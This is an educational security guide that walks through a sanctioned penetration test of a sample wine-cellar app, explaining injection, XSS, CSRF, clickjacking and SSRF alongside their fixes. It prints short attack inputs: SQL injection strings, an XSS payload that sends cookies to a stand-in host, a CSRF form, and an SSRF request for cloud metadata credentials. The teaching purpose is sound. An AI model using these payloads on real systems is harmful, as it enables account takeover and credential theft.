Field Guide · Nº 23

How Systems Get Hacked

A field guide to thinking in boundaries.

Attackers don't defeat your locks — they find the boundary you forgot was a boundary, and hand it input you never imagined. This is a sanctioned walk through one product, the wine cellar, testing every door the way an attacker would: one finding per stop on a single map of trust. Learn to see the boundaries, and the vulnerability classes stop being a checklist and become one question you can ask of anything you ship.

Module 01 Thinking in boundaries

The attacker who breaks your application is not smarter than you. They are differently oriented. You spent six weeks thinking about what the feature should do for the person using it correctly; they spend forty minutes thinking about what it will do for the person using it incorrectly, on purpose. That asymmetry — not skill, not tooling, not some secret list of exploits — is where almost every breach comes from.

This module installs the orientation before it teaches a single vulnerability, because the vulnerabilities are downstream of it. You will learn to see a system as a set of trust boundaries rather than a set of features, to treat everything crossing inward as adversarial, and to convert the vague dread of "are we secure?" into a countable list. Then you will meet the wine cellar — the product we spend the rest of the course attacking, with permission — and its trust-boundary map, which every later finding pins back to.

The attacker's mindset

Ask a builder what a feature does and you get a sentence about the user's goal: "it lets you import a wine label by pasting a URL." Ask an attacker and you get a sentence about the machine's obligations: "it makes my server fetch an address I choose." Same code. Two completely different descriptions, and only one of them predicts the incident.

The shift is from behavior to capability. A behavior is what the feature does when used as intended. A capability is what the feature can be made to do by someone who does not care about your intentions. Every feature you ship grants capabilities you never wrote down, and the attacker's whole method is to write them down. There is nothing mystical in it — the discipline is closer to how a litigator reads a contract than to how a hacker is portrayed on television. You are looking for what the text permits, not what the drafter meant.

If you came from law

This is adverse-interpretation practice, transplanted. The question you already know how to ask — what is the worst reading of this clause that a court would still accept? — is exactly the security question, with "court" replaced by "interpreter" and "clause" replaced by "input handler." Drafters write for the cooperative reader; opposing counsel reads for the gap. Attackers are opposing counsel with a scripting language.

Two corollaries fall out immediately, and both are unpopular. First, security cannot be added late, because capability is created at design time and only discovered later. Second, no tool substitutes for the reasoning. A web application firewall inspects requests against patterns; it does not know that /cellars/1041 belongs to someone else. Tools raise the cost of known attacks. They do not think about your boundaries, because they do not know where your boundaries are — you have not told them, and in most organizations nobody has written them down at all.

The load-bearing idea

The attacker's advantage is orientation, not intelligence. They enumerate capabilities where you enumerated behaviors. You close the gap by doing the enumeration yourself, at design time, before the capability ships.

Trust boundaries as the unit of analysis

A trust boundary is any line across which data or control passes from a party you control to a party you do not. That definition is doing more work than it looks. "Control" means you determine the code's behavior and can rely on its invariants — not that you own the machine, not that it is inside your VPC, not that it is on your org chart. Your React bundle runs on the user's laptop; you wrote it, but you do not control it, because the user can edit any value it sends. So the browser-to-API line is a boundary even though both sides are your code.

Every vulnerability in this course lives on one of these lines. That is not a rhetorical flourish, it is a structural fact, and it is why the boundary is the right unit of analysis: it is small enough to reason about exhaustively and large enough that every bug is inside one. When you find yourself asking "is this safe?", the question is malformed. The well-formed version is: which boundary does this cross, what does the receiving side assume about what crossed, and who gets to supply it?

Note

Boundaries are not only between your system and the outside world. The API-to-database line is a boundary in the direction that matters here — the database interprets whatever text arrives as a program. The API-to-worker line is a boundary. A dependency's code entering your build is a boundary crossing, arguably the most privileged one you never review.

Two failure modes recur. The first is the invisible boundary: a line nobody drew, usually between two internal services, on the theory that internal traffic is trusted. But "internal" describes network topology, not trustworthiness — and if any external input reaches an internal service, the attacker is already speaking on that trusted line. The second is the boundary you drew and then forgot to enforce: a validation function everyone believes runs, that runs on three of the four paths into the handler.

Every input is hostile

Ask a team to list a feature's inputs and you will get the form fields. The actual list is longer, and the items that get forgotten are the ones that get exploited, precisely because nobody wrote a validation function for a thing they did not think of as input.

Input is anything crossing a boundary inward. In a typical Flask-and-React application that includes: form fields and JSON bodies; query-string and path parameters; every HTTP header, including Host, Referer, X-Forwarded-For, and User-Agent; cookie values, which the browser will happily send back after the user rewrites them; uploaded filenames and uploaded file contents, which are different attack surfaces; URLs you are asked to fetch; redirect targets; webhook bodies from third parties, which are unauthenticated POSTs until you verify a signature; rows read back out of your own database that an attacker wrote earlier; and the source code of every dependency and transitive dependency in your build.

The one people miss

Data read back from your own database is input. It crossed inward once already — a user typed it — and storing it did not sanctify it. This is precisely how stored XSS works (module 3): the boundary crossing happened at write time, the interpretation happens at read time, and the code doing the reading feels like it is handling trusted internal data.

"Every input is hostile" is a design stance rather than a psychological state. It does not mean assuming your users are criminals; it means writing code whose correctness does not depend on the input being well-intentioned. The practical test: if a value could be anything at all — any length, any bytes, any structure — does your handler still behave? If the answer requires a sentence beginning "well, the frontend only ever sends…", you have found a vulnerability and are currently arguing with it.

Attack surface you can count

"Are we secure?" has no answer, which is why it produces anxiety instead of work. Attack surface — the set of points where an attacker can supply input or interact with the system — is a finite list you can literally write down, and writing it down converts the anxious question into an auditable one.

The enumeration is mechanical. For each entry point, record four things: the route or interface, the method, the inputs it accepts, and the trust boundary it crosses. When you finish, you have a table with a definite number of rows, and every future security question becomes "which row?" A finding without a row means your map is incomplete, which is itself the most valuable output of the exercise.

Trust-boundary map of the wine-cellar application, showing six zones and every labeled crossing between themThe wine cellar — zones and crossingsZone A — BrowserReact app, cookieson the user's laptopyou do not control thisZone B — APIFlask app on EC2holds the session +an instance IAM roleZone C — Postgrescellars, notes, usersan interpreter: it runswhatever text arrivesZone E — Third partypayment webhooks,npm and PyPI registryZone D — Workerslabel-image importer,nightly valuation jobZone F — Metadata169.254.169.254temporary credentials123456781 form fields, headers, cookies · 2 query text + values · 3 stored rows a user wrote · 4 rendered HTML + JSON5 job payloads incl. user URLs · 6 outbound fetch to any address the worker can reach · 7 webhook bodies, package tarballs · 8 dependency code into the build
Figure 1.1 — The trust-boundary map of the wine cellar. Six zones; eight numbered crossings, each of which carries data from a party you do not fully control into one you do. Crossings 1 and 2 are attacked in module 2 (SQL injection) and module 3 (stored XSS, via crossing 3); crossing 6 is attacked in module 4 (SSRF to metadata); crossing 1 again in module 5 (IDOR) and module 6 (login); crossings 7 and 8 in module 7 (supply chain). This is the master artifact of the course — every finding that follows pins to a numbered crossing here.

Notice what the map makes obvious that a feature list hides. The API holds an instance IAM role, so anything that makes the API act on your behalf inherits cloud permissions. The database is an interpreter, so text reaching it is potentially a program. The browser zone is drawn outside your control despite containing your own code. And crossing 8 — dependency code entering the build — carries the highest privilege of all with the least review, which is the subject of module 7.

The wine cellar, and the rules of the walk

The running example for this course is a real-shaped product: a wine-cellar application where collectors track bottles, write tasting notes, share cellars with friends, and import label images. It has a React frontend, a Flask API on EC2, a Postgres database, two background workers, a payment integration, and about four hundred dependencies it did not read. It is, in other words, every application you have ever shipped.

What follows across modules 2 through 7 is a narrated, sanctioned penetration test of that product — one finding per stop, each pinned to a numbered crossing on Figure 1.1. Each finding is presented in the same four beats: the attacker's input, the mechanism that turns that input into a result, the impact in terms a business would recognize, and the fix. The fixes cross-reference the guides that own the underlying defense rather than re-teaching them: parameterization is Nº 06, cookies and SameSite are Nº 14, authentication is Nº 15, cloud metadata and instance roles are Nº 16, dependency pinning is Nº 27, secrets and encryption are Nº 19, authorization is Nº 05, and browser-rendering fundamentals are Nº 21.

Attack surface enumerated as a table: route, method, inputs accepted, and trust boundary crossedAttack surface is a list with a definite lengthEntry pointMethodInput acceptedCrossing/api/cellars/searchGETq, region, vintage_min, sort1 → 2/api/bottles/:id/notesPOSTnote body (HTML rendered later)1 → 3/api/cellars/:idGET, DELETEcellar id from the path1/api/labels/importPOSTsource_url — the server fetches it5 → 6/api/sessionPOSTemail, password, session cookie1/hooks/paymentsPOSTunauthenticated body until signed7pip install / npm cibuild412 packages, 38 direct8Seven rows shown of nineteen. The number is finite, which is the entire point.
Figure 1.2 — Attack surface as an enumerated list. Each row records route, method, inputs, and the numbered crossing from Figure 1.1. Enumeration converts "are we exposed?" into "which row?" — and a finding that matches no row proves the list, not the system, was wrong.
On the ethics of the walk

Everything demonstrated in this course is scoped to a product we own, at the level of mechanical detail needed to recognize and fix a class. There is no tooling here, no evasion recipes, and no payload developed further than the sentence that explains why the class exists. Testing systems you have not been authorized to test is a crime in most jurisdictions regardless of intent, and "I was learning" is not a defense you want to run.

Module 02 Injection, the archetype

Injection is the cleanest possible illustration of the course thesis, which is why we start the walk here. The bug is not that the developer forgot to check something. The bug is architectural: data supplied across a boundary and code written by the developer were placed in the same channel, and the thing at the far end — an interpreter — cannot tell them apart, because from where it sits there is nothing to tell apart. It receives one string.

We trace the first pentest finding mechanically: a SQL injection in the wine cellar's search, sitting on crossing 2 of Figure 1.1. You will see exactly which character crosses the line from value into syntax, exactly what the interpreter then does, and why the parameterized version of the same query renders the identical payload inert. Then we generalize — because once you can see the shape, command injection, template injection, and NoSQL injection stop being three more things to memorize and become the same thing wearing different clothes.

Finding one: SQL injection in cellar search

The attacker's input. Into the wine cellar's search box — the one that filters your bottles by producer or region — the tester types Margaux' OR '1'='1 and presses return.

The mechanism. The search handler builds its query by string concatenation. The code, simplified only by removing the pagination clause, looks like this:

q = request.args.get("q")
sql = "SELECT id, producer, vintage, notes FROM bottles " \
      "WHERE owner_id = " + str(user.id) + " AND producer LIKE '%" + q + "%'"
cur.execute(sql)

The developer's mental model is that q is a word. The interpreter's model is that everything between SELECT and the semicolon is a program. When those two models disagree, the interpreter wins — always, and by definition.

The impact. The search returns every bottle in the table, including 11,400 rows belonging to other collectors, complete with purchase prices and private tasting notes. The same flaw on the login handler, which builds its query the same way, returns an authenticated session for the first user in the table without any password. And because the database user the app connects as is the owner of the schema, a differently-shaped payload can read from any table in the database, including users.

The load-bearing idea

Injection is not a failure to sanitize. It is a failure to separate channels. The moment untrusted data is concatenated into a string that an interpreter will parse, the user is writing your program with you — and no amount of inspecting what they wrote changes who is holding the pen.

This finding pins to crossing 2 on the master map: the API-to-Postgres line, where the receiving side assumes that anything arriving is the query the developer intended. That assumption is supplied, in this code, by whoever types in the search box.

Traced mechanically

Take the payload apart character by character, because the whole class becomes obvious once you see the exact moment of the crossing. Consider the login variant, which is the more consequential one. The template is:

SELECT id FROM users WHERE email = '<INPUT>' AND password_hash = '<HASH>'

The attacker submits, as the email, ' OR '1'='1' -- (note the trailing space after the dashes; SQL comment syntax requires it). Substituting textually gives:

SELECT id FROM users WHERE email = '' OR '1'='1' -- ' AND password_hash = '...'

Three things happened, in order. The first apostrophe closed the string literal the developer opened — that is the crossing, the single character where an attacker-supplied byte stopped being a value and became syntax. The injected clause OR '1'='1' is then parsed as part of the WHERE expression, and since it is tautologically true, the whole predicate is true for every row. The comment marker -- makes the parser discard the rest of the line, which conveniently includes both the unbalanced trailing quote and the entire password check. The query now means select the id of every user, and a login handler that takes the first row logs the attacker in as whoever that is — typically the oldest account, which in most systems is an administrator.

Side-by-side comparison: the same payload against a concatenated query causes an authentication bypass, while against a parameterized query it is treated as a literal value and matches nothingIdentical input from the browseremail = ' OR '1'='1' --Vulnerable — one channelParameterized — two channelsApp builds one string:"...WHERE email = '" + inp + "'"query text and value are now indistinguishableApp sends text and value separately:"...WHERE email = %s", (inp,)value never touches the query textParser seesWHERE email = '' OR '1'='1' --quote closes literal → OR clause is syntax-- comments out the password checkParser seesWHERE email = $1plan is fixed before the value is bound$1 is a 16-character string, nothing morePredicate true for every rowfirst user returned → authenticated as adminZero rowsno user has that literal email addressThe only difference is where the boundary between query text and value is drawn.
Figure 2.1 — The same payload, two architectures. On the left the application concatenates, so the attacker's apostrophe closes the literal and the rest of the input is parsed as SQL syntax — the predicate becomes universally true and the password check is commented out. On the right the query text is sent to the server and planned before the value is bound, so the identical bytes arrive as a 16-character string that matches no email address. Nothing about the input changed; only the channel it traveled on. See Guide Nº 06 for the driver-level mechanics.

Two details matter for accuracy. First, the tautology '1'='1' is doing nothing clever — any always-true expression works, and the point is that the attacker got to contribute an expression at all. Second, the comment marker is not decoration; without it the trailing ' from the developer's template is unbalanced and the query is a syntax error. Attackers do not need the query to be exploitable in an interesting way. They need it to be valid, and comment syntax is how they discard whatever the developer wrote after their insertion point.

The fix that actually works

The corrected handler does not inspect the input at all:

cur.execute(
  "SELECT id, producer, vintage, notes FROM bottles "
  "WHERE owner_id = %s AND producer ILIKE %s",
  (user.id, "%" + q + "%")
)

Compare it to the vulnerable version line by line and note how little changed. The SQL text is the same clauses in the same order. The wildcards are still there. The difference is that %s is a bind marker rather than an insertion point: the driver sends the query text and the parameter tuple to Postgres as separate items, the server plans the statement while the value is still an opaque blob, and only then binds it. The parse tree is fixed before the attacker's bytes are ever considered. There is no step at which the string ' OR '1'='1' -- could become an expression, because by the time it exists in the server's memory, the question of what is an expression has been settled.

Cross-reference — Guide Nº 06

The driver-level mechanics of prepared statements, bind parameters, and the difference between client-side and server-side parameter binding belong to Guide Nº 06 (relational data modeling and SQL), which covers them properly. What matters here is the security property that falls out of them: the query's structure is determined before any user byte is examined. If you use an ORM, you already get this — until someone reaches for the raw-SQL escape hatch, which is where injections in ORM codebases actually live.

Two limits on the fix, both of which come up in real code review. Parameterization binds values, not identifiers: you cannot parameterize a table name, a column name, or the direction of an ORDER BY. A sort parameter like ?sort=vintage_desc that gets concatenated into the query is a genuine injection point that parameterization cannot close — the correct fix there is an allowlist mapping the user's string to one of a fixed set of known-safe column expressions, chosen by your code rather than supplied by theirs. And parameterization protects the SQL boundary only; the same value, later rendered into HTML, still needs output encoding, which is module 3.

The anti-pattern: string concatenation with a comment

Symptom: a query built with +, f-strings, or .format(), often carrying a comment like # q is validated upstream. Why it survives review: the validation upstream is real, just insufficient or bypassed on one of four call paths. Corrective: make concatenated SQL a lint failure rather than a review conversation — the class is mechanically detectable, and detecting it mechanically is the only version that holds as the team grows.

One bug, many costumes

Nothing in the analysis so far was about SQL. The structure was: untrusted data is concatenated into a string; the string is handed to an interpreter; the interpreter parses the whole thing as its language. Any interpreter, any language. Recognizing the structure is worth more than memorizing four attack names, because it generalizes to the interpreter you will meet next year that has not been invented yet.

One injection template instantiated four ways: SQL, shell command, server-side template, and NoSQL query operatorThe templateuntrusted data → concatenated into an interpreter's input → parsed as codeInterpreterWhere it appearsBreaks context onChannel-separating fixPostgres SQLcellar search, login"...WHERE q LIKE '" + qcrossing 2 on the map' and --bind parametersNº 06OS shelllabel thumbnaileros.system("convert " + name)filename is the input; | $( ) &&argv list, no shellsubprocess.run([...])Jinja templatecustom email footerrender_template_string(msg)user text becomes template{{ }} and {% %}fixed template + contextrender(tpl, msg=msg)Document DBanalytics storefind({"user": req.json["u"]})JSON body is the input{"$ne": null}type-check to scalarreject non-stringsNo quoting scheme appears in the fix column. Every fix keeps data out of the language rather than making data look safe inside it.
Figure 2.2 — The shared shape. Four interpreters, one structure. Each row names where the flaw appears in the wine cellar, the syntax that lets input escape its context, and the channel-separating fix. Note the NoSQL row: the escape is not a metacharacter at all but a type — a JSON body supplying an object where the code expected a string turns a value into a query operator, which is why "we don't use SQL" is not a defense.

The document-database row deserves a sentence, because it is the one that surprises people. There is no quote to escape and no comment marker; the injection happens because JSON can express structures your code did not anticipate. If the login handler does db.users.find_one({"email": body["email"], "token": body["token"]}) and the attacker sends {"token": {"$ne": null}}, the value is no longer a string being compared but an operator meaning "anything that is not null." Same shape as SQL — attacker-supplied data was interpreted in a position where the interpreter accepts language — with a completely different surface texture. The fix is correspondingly different: not escaping, but asserting the type is a scalar before it reaches the query.

Why sanitization by blocklist loses

The proposal arrives in every review: strip apostrophes and semicolons, reject anything containing DROP or --, and move on. It is worth understanding precisely why this loses, because "blocklists are bad" delivered as a slogan does not survive contact with a senior engineer who has a deadline.

Blocklisting asks you to enumerate every string that could ever be dangerous, in advance, correctly. The attacker only needs one you missed. The asymmetry is structural, and four forces widen it. Encoding: the same bytes arrive URL-encoded, double-encoded, Unicode-escaped, or in an alternate charset, and your filter runs at a different decoding stage than the interpreter does. Alternate syntax: Postgres accepts /* */ comments and dollar-quoted strings; a filter tuned for -- never sees them. Context multiplicity: the string that is safe in a SQL value is dangerous in an HTML attribute and differently dangerous in a shell argument, so one "sanitize" function is wrong somewhere by construction. Time: your blocklist is frozen at the moment it was written and the interpreter's grammar is not.

Compare the shapes of the two arguments. Parameterization's correctness argument is a single sentence about mechanism: the parse tree is fixed before the value is bound. Blocklisting's correctness argument is an unbounded list of strings, and its truth value degrades every time anyone upgrades a database driver. Security engineering strongly prefers claims of the first shape — not because they are more impressive, but because you can still defend them in an incident review eighteen months later.

The anti-pattern: the sanitize() helper

Symptom: one function, usually called sanitize() or clean_input(), applied at the edge of the request and trusted everywhere downstream regardless of where the value ends up. Why it survives: it is visible, it is centralized, and it makes a directory-wide search for "is this handled?" return true. Corrective: delete it and push the escaping to each destination — bind parameters for SQL, contextual encoding for HTML, argv lists for shells. Validation still has a role (reject a vintage that is not four digits, because a narrower type is easier to reason about), but validation is a filter and encoding is the guarantee. Module 8 returns to this distinction as the general principle it is.

Module 03 The client-side trio

The next two findings do not run on your servers. They run on your users' laptops, in a security context you established and then handed away: your origin. That relocation is what makes this family confusing to reason about and easy to misdiagnose, and misdiagnosis here is expensive, because the fix for cross-site scripting does nothing for cross-site request forgery and vice versa.

Hold one distinction throughout and the module organizes itself. Cross-site scripting means the attacker's code executes inside your origin — they are running arbitrary logic with everything your page can do. CSRF means the attacker's request executes with your user's ambient credentials — they cannot see the response or read anything, but they can cause a side effect. Code versus request. Read-and-act versus act-blind. Everything else in this module is a consequence of that difference.

Finding two: stored XSS in a wine note

The attacker's input. On a bottle in a cellar shared with a tasting group, the tester saves this tasting note:

Firm tannins, needs a decade.
<img src=x onerror="fetch('https://collector-notes.example/c?d='+document.cookie)">

The mechanism. The note is stored verbatim in Postgres — correctly, using a parameterized query, because module 2's finding was fixed. It is then read back and inserted into the page with note.innerHTML = row.body. The browser parses the string as HTML, finds an image element, fails to load x, and runs the onerror handler. Note that no <script> tag was involved: filters that look for script tags miss this entirely, and there are dozens of equivalent constructions. The payload executes for every member of the tasting group who opens that bottle's page — nine people, at nine different times, with no further action from the attacker.

The load-bearing idea

This is the same bug as module 2 with a different interpreter. Data crossed a boundary inward (crossing 1, at write time), was stored, and was then handed to an interpreter — the browser's HTML parser — through a channel where data and markup are indistinguishable. The parameterized query protected the SQL boundary and did precisely nothing for the rendering boundary, because escaping is per-destination.

The impact. Session cookies for nine collectors, exfiltrated to a host the attacker controls; and because the script runs as the victim, it can also call DELETE /api/cellars/1040 on their behalf before anyone notices. The fix is output encoding at the render site — the subject of the fourth section — not a filter at the write site.

This finding pins to crossing 3 on the master map: the database-to-API line, where the render path assumes stored rows are trustworthy because they came from our own database. A user wrote that row. Storage is not sanctification.

Cross-reference — Guide Nº 21

Guide Nº 21 (the browser) covers the parsing pipeline, the DOM, and the same-origin policy — the machinery that makes "inside your origin" a meaningful phrase. This module assumes it. What is added here is the adversarial reading: the same-origin policy is a fence around your page's capabilities, and XSS does not break the fence, it puts the attacker inside it.

What an injected script actually steals

"XSS lets an attacker run JavaScript" is technically complete and practically useless, because it does not convey what that buys them. Inside your origin, the script has exactly the capabilities your own application code has. Enumerate them and the severity becomes arguable in a room where someone has proposed accepting the risk.

It can read the DOM — every value on the page, including data the user has typed but not yet submitted, and anything your SPA has fetched into memory. It can exfiltrate cookies not marked HttpOnly via document.cookie, and any token you stored in localStorage, which is readable by definition. It can make authenticated same-origin requests and read the responses, which is the capability CSRF lacks: the script can call GET /api/cellars/1040, receive the JSON, and forward it anywhere. It can rewrite the page, so a convincing re-authentication prompt appears at the correct URL with a valid certificate. It can keylog by attaching listeners. And it persists for the life of the tab.

The anti-pattern: 'it's just XSS'

Symptom: an XSS finding triaged as low severity because the proof-of-concept was an alert(1) box, which reads as a prank. Why it survives: the demonstration is chosen for harmlessness and the triager scores the demonstration rather than the capability. Corrective: score the capability — full account takeover within the victim's session, plus reading any data the victim can read. If the proof-of-concept had to be harmless for legal reasons, say so in the finding, and describe the capability in the impact field.

One important refinement: HttpOnly on the session cookie stops the theft of the cookie, not its use. The script cannot read the value, but the browser still attaches it to every same-origin request the script makes. The attacker loses a stealable credential and keeps a usable session for as long as the tab is open. That is a real reduction in blast radius and a poor substitute for not having XSS — the exact shape of a defense-in-depth layer, which module 8 formalizes.

Stored, reflected, and DOM — and why the difference matters

The three variants differ by where the payload lives and when it becomes part of the page, which determines where the fix belongs. Conflating them produces the most common wasted remediation in this class: adding server-side escaping to an application whose bug is entirely in the client.

Three parallel flows showing where the payload enters, where it lives, and the sink where it executes for stored, reflected, and DOM-based cross-site scriptingWhere the payload lives decides where the fix belongsStoredattacker savesa wine notepersists inPostgressink: server templateor innerHTMLfix: encodeon renderfires for every viewer, repeatedly — no link requiredReflectedvictim clicks link/search?q=PAYLOADserver echoes itinto the responsesink: server-renderedHTML bodyfix: encodeon renderone victim per delivered link; never stored anywhereDOM-basedpayload in the#fragmentserver neversees the fragmentsink: client JS writesit to innerHTMLfix: in theclient onlyserver-side escaping cannot help: the payload never reaches the serverIn all three the fix is at the sink — the moment data becomes markup — never at the point of entry.
Figure 3.2 — The three flavors of XSS. Stored persists server-side and fires for every viewer; reflected is echoed back within a single request-response and needs a delivered link; DOM-based never reaches the server at all, because the URL fragment is not transmitted — the client's own JavaScript reads it and writes it into an unsafe sink. The variants differ in delivery and blast radius, but the fix is always at the sink, and for DOM XSS the sink is exclusively in client code.

The DOM variant is the one that defeats the most remediation effort. If document.getElementById("tab").innerHTML = location.hash.slice(1) is the sink, the payload lives in the URL fragment — which browsers do not send to the server. Every server-side escaping filter in your stack could be perfect and the bug would remain, because no server-side code ever touches the value. The fix is to stop using an HTML-parsing sink: assign textContent instead of innerHTML, and if you genuinely need to render HTML, run it through a maintained sanitizer library. React's default JSX interpolation escapes for you, which is why most React XSS traces back to dangerouslySetInnerHTML — a name chosen with more foresight than most.

Finding three: CSRF on 'delete cellar'

The attacker's input. A page on a site the attacker controls, containing nothing but this:

<form id="f" method="POST" action="https://cellar.example/api/cellars/1040/delete"></form>
<script>document.getElementById("f").submit();</script>

The tester posts a link to it in the tasting group's forum with the text "1998 Bordeaux vertical — tasting notes."

The mechanism. The victim is logged into the wine cellar in another tab. They click the link. Their browser loads the attacker's page, which immediately submits the form to your domain — and because the request goes to cellar.example, the browser attaches cellar.example's cookies, including the session. Your server receives a syntactically perfect, fully authenticated POST and does exactly what it was asked. The cellar, with 340 bottles and eleven years of notes, is gone.

The property being abused has a name: ambient authority. The session cookie is attached by the browser based on destination, with no reference to what caused the request or which page composed it. Your server cannot tell the difference between this request and the one your own React app sends, because at the byte level there is no difference.

What CSRF cannot do

The attacker's page cannot read the response — the same-origin policy blocks that, and this is the sharp line between CSRF and XSS. CSRF is a write primitive fired blind. It can delete, transfer, change an email address, or add an API key; it cannot exfiltrate your cellar's contents. That is why CSRF findings concentrate on state-changing endpoints and why a CSRF on a read-only endpoint is usually not a finding at all.

Two notes on scope. First, this attack requires no XSS and no flaw in your JavaScript; the vulnerability is the absence of something (a token, a SameSite attribute), which is why it is easy to ship. Second, if the delete action had been implemented as a GET, the attack would not even need a form — <img src="https://cellar.example/api/cellars/1040/delete"> would suffice, and it would fire from any page that renders attacker-supplied HTML, including an email. State-changing GETs are their own anti-pattern for exactly this reason.

Why SameSite defuses it, and what still needs a token

If CSRF depends entirely on the browser attaching credentials to a cross-site request, then instructing the browser not to do that removes the attack's power source. That is what the SameSite cookie attribute does.

SameSite=Strict withholds the cookie on every request originating from another site, including ordinary link navigation — which means a user who follows a link to your app from their email arrives logged out, an unacceptable experience for most products. SameSite=Lax, the default in Chromium-based browsers (Chrome, Edge) when the attribute is absent — Firefox and Safari do not default to Lax — they restrict cross-site cookies by other means (cookie partitioning and ITP) — one more reason to set it explicitly — is the useful compromise: the cookie is sent on top-level navigations using safe methods (a user clicking a link) and withheld on cross-site subresource loads and on cross-site POSTs. The attack above is a cross-site POST, so Lax stops it.

Two panels contrasting XSS, where the attacker's script executes inside the victim's origin and reads data, with CSRF, where the victim's browser sends a forged authenticated request the attacker cannot read, annotated with SameSite as the breakXSS — attacker's CODE runs in your originCSRF — attacker's REQUEST rides your sessionVictim browsercellar.exampleGET /bottles/882page + stored note = payloadscript executesINSIDE the originGET /api/cellars/1040response READ by the scriptAttacker can act AND read: cellar contents,non-HttpOnly cookies, keystrokes, the DOMBreak: contextual output encoding at the sinkVictim browsercellar.examplelogged in, other tabvisits attacker pagePOST /cellars/1040/deletebrowser attaches session cookieSameSite=Lax cuts HERE — no cookie sentresponse returns — attacker CANNOT read itAttacker can act BLIND: a state change only,no data exfiltration — same-origin policy holdsBreak: SameSite cookie + anti-CSRF tokenCode versus request. Read-and-act versus act-blind. The fixes are not interchangeable.
Figure 3.1 — XSS and CSRF, side by side. Left: the stored payload is delivered by your own page, so the attacker's script runs inside the origin and can both act and read the responses. Right: the attacker's page never enters your origin; it only causes the victim's browser to send a request, which arrives authenticated by ambient cookie and returns a response the attacker cannot read. SameSite annotated at the exact step it breaks — credential attachment on a cross-site POST. Output encoding fixes the left panel and does nothing for the right.
Cross-reference — Guide Nº 15

Cookie attributes, scoping rules, Secure, the __Host- prefix, and how sessions are actually carried belong to Guide Nº 15 (authentication and identity). Set them there; here, only the security consequence matters: SameSite removes ambient authority on cross-site requests, which is the resource CSRF runs on.

Keep anti-CSRF tokens anyway, for two reasons that survive scrutiny. First, SameSite is enforced by the browser, and browser-enforced defenses fail against old clients and are subject to the browser's definition of "site" — which is registrable domain, not origin, so a compromised or hostile subdomain at blog.cellar.example is same-site with you. Second, the two controls fail independently: a token is checked by your server and does not care what the browser decided. That independence is the whole reason to layer, and module 8 makes the argument in general form.

Clickjacking, briefly

Clickjacking deserves a paragraph rather than a section, and knowing that is part of calibrating security effort correctly. The attacker loads your real application in an invisible iframe on their page, positions it so that the button they want pressed sits underneath something the victim intends to click, and lets the victim supply the click. Every request is genuine: real session, real user, real intent to click something. The consent was harvested rather than forged.

Layered view of a clickjacking overlay: the attacker page's visible bait sits directly above a transparent iframe containing the real application's delete buttonTwo layers, one clickWhat the victim seesattacker's page: a wine quizReveal my scorethe victim genuinely intendsto click this buttonWhat is actually theretransparent iframe: cellar.exampleDelete cellarsame coordinates, opacity 0,victim's real session insideControl: Content-Security-Policy: frame-ancestors 'self'the browser refuses to render your page inside another site's frame at all
Figure 3.3 — The clickjacking overlay. The attacker's visible bait and the real application's destructive button occupy the same screen coordinates; the iframe is transparent, so the victim aims at one and hits the other. No request is forged and no script is injected — the click is real, which is why the fix is to refuse framing entirely rather than to validate anything about the request.

The control is one header: Content-Security-Policy: frame-ancestors 'self', with X-Frame-Options: DENY alongside it for clients that predate CSP support. Both instruct the browser to refuse rendering your page inside a foreign frame. There is no application-level equivalent, because from your server's perspective nothing is wrong with the request. Set the header globally and revisit only if a legitimate partner genuinely needs to embed you.

Module 04 Making the server fetch for you

The fourth finding comes from a feature nobody would flag in a design review. Collectors wanted to add label images without downloading and re-uploading them, so the importer accepts a URL and the worker fetches it. Convenient, obvious, and shipped in an afternoon.

What it actually does is grant any user of the wine cellar the ability to issue HTTP requests from inside your infrastructure. That matters because your server's network position is dramatically more privileged than an attacker's: it can reach private subnets, unauthenticated internal services, admin ports bound to localhost, and — the payoff — the cloud instance metadata endpoint, which hands out temporary credentials to anything that asks from the right place. Server-side request forgery is the class where the vulnerability is the feature working as designed, for someone you did not have in mind.

Finding four: SSRF in the label-image importer

The attacker's input. A POST to /api/labels/import with the body {"source_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/cellar-worker-role"}.

The mechanism. The importer validates that source_url parses as a URL — it does — and queues a job. The worker calls requests.get(source_url), stores the response body as the label image, and the API returns it when the bottle page renders. Nothing malfunctioned. Every component did exactly what it was written to do, and the tester now has the contents of a link-local endpoint rendered back to them in an <img> tag.

The impact. The response is a JSON document containing an access key ID, a secret access key, and a session token for the IAM role attached to the worker instance. That role has read and write access to the S3 bucket holding every collector's label images and receipts, and — because the role was copied from the API's role during a hurried migration — permission to read the RDS credentials from Parameter Store. The finding started as "the image importer fetches the wrong URL" and ended at the database.

The load-bearing idea

SSRF is a position vulnerability, not a content one. The attacker did not compromise your server; they borrowed its place in the network. Every access-control decision anywhere in your infrastructure that says "requests from this host are trusted" is transitively an access-control decision about whoever can steer that host's outbound requests.

This finding pins to crossings 5 and 6 on the master map: a user-supplied URL travels in a job payload from the API to the worker, and the worker then crosses outward to any address it can reach — including zone F, the metadata service, which was never drawn as reachable by users because on the diagram it is not. Reachability by influence is what the map is for.

Why 'give us a URL' is dangerous

Validating a URL tells you it is well-formed. It tells you nothing about the destination, and destination is the entire attack. This distinction gets lost because "validate the input" is such a deeply installed reflex that teams perform it, observe that it passed, and stop.

Enumerate what the worker can reach that the attacker cannot, and the capability becomes concrete. Private RFC 1918 ranges: the internal reporting service from module 1, the Redis instance with no password because it is "internal," the staging database. Loopback: admin interfaces bound to 127.0.0.1 precisely because binding to localhost was considered a security control. Link-local: 169.254.169.254, the metadata service. And non-HTTP schemes, if the fetching library follows them — file:///etc/passwd, or gopher:// in older stacks, which allowed constructing arbitrary TCP payloads.

The anti-pattern: trusting a URL, a filename, or a redirect target

Symptom: any parameter whose value the server will act on as a destination — source_url, callback_url, next=, a webhook target a customer configures, an avatar-by-URL field, an XML document with an external entity reference. Why it survives: each looks like a small convenience, and each is added by a different team in a different quarter. Corrective: keep a single inventory of every place the server is willing to fetch or redirect on a client's behalf, and require the same guardrails on all of them. This is one row-class on the module 1 attack-surface table, and it should be reviewed as a class.

Open redirects belong to the same family and are routinely dismissed as low severity, which is right in isolation and wrong in combination: an open redirect on your domain is what turns a phishing link into one that displays your hostname, and it is what smuggles an OAuth authorization code to an attacker's endpoint when the redirect target is validated by prefix rather than by exact match.

The metadata payoff

Cloud instances need credentials, and hard-coding them on disk is worse than the alternative, so every major cloud provides an instance metadata service: a fixed link-local address that returns information about the instance, including temporary credentials for its attached role. The authorization model is positional — if you can reach it, you are presumed to be the instance, because in the original threat model only the instance could reach it.

